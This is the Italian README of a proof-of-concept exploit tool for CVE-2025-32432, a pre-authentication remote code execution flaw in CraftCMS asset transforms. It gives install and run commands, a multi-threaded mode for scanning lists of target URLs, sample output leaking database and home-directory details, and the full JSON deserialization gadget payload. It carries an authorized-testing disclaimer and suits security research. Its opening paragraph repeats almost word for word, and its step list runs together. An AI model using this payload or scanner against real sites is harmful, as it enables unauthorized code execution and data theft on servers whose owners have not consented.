
Questo repository contiene uno script exploit proof-of-concept per CVE-2025-32432, una vulnerabilità di Remote Code Execution (RCE) pre-autenticazione che interessa CraftCMS versioni 4.x e 5.x. La vulnerabilità risiede nella funzionalità di generazione delle trasformazioni degli asset di CraftCMS.
Questo repository contiene uno script di exploit proof-of-concept per CVE-2025-32432, una vulnerabilità di Remote Code Execution (RCE) pre-autenticazione che interessa le versioni 4.x e 5.x di CraftCMS. La vulnerabilità risiede nella funzionalità di generazione delle trasformazioni degli asset di CraftCMS.
Questo script di exploit automatizza il rilevamento e la verifica della vulnerabilità:
⚠️ Questo strumento è fornito esclusivamente per scopi educativi e per test di sicurezza autorizzati.
Utilizzare questo strumento solo contro sistemi per i quali si ha il permesso esplicito di testare. Test non autorizzati su sistemi senza permesso sono illegali e non etici.
# Clona il repository
git clone https://github.com/Sachinart/CVE-2025-32432.git
cd CVE-2025-32432
# Installa le dipendenze richieste
pip install -r requirements.txt
Per scansionare un singolo target:
python3 craftcms_rce.py -u example.com
Per scansionare più target da un file (un URL per riga):
python3 craftcms_rce.py -f urls.txt -t 10
Dove -t specifica il numero di thread da utilizzare (predefinito: 5).
-u, --url URL singolo da testare
-f, --file File contenente gli URL da testare (uno per riga)
-t, --threads Numero di thread (predefinito: 5)
-h, --help Mostra il messaggio di aiuto ed esci
Lo script produrrà i risultati nella console e salverà i target vulnerabili in vulnerable.txt in formato CSV con le seguenti colonne:
Esempio di output console:
[*] Test del singolo target: https://example.com
[*] Avvio scansione con 5 thread
[+] VULNERABILE: https://example.com
CRAFT_DB_DATABASE: example_db
Directory HOME: /home/example
=== RIEPILOGO SCANSIONE ===
URL totali scansionati: 1
Siti vulnerabili: 1
Risultati dettagliati salvati in vulnerable.txt
Questa vulnerabilità sfrutta un problema di deserializzazione in CraftCMS. L'exploit:
/index.php?p=admin/dashboard per recuperare un token CSRF/index.php?p=admin/actions/assets/generate-transform con un payload JSON appositamente creatoGuzzleHttp\Psr7\FnStreamphpinfo() ed estraendo informazioni specifiche di sistemaL'exploit sfrutta una deserializzazione insicura nel processo di generazione delle trasformazioni degli asset. Il percorso di codice vulnerabile consente a un utente malintenzionato di iniettare un oggetto PHP personalizzato che viene unserializzato, portando all'esecuzione arbitraria di codice.
I componenti chiave del payload:
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
Contributi, segnalazioni di problemi e richieste di funzionalità sono benvenuti! Sentiti libero di visitare la pagina delle issues.
Questo progetto è concesso in licenza con la licenza MIT - consulta il file LICENSE per i dettagli.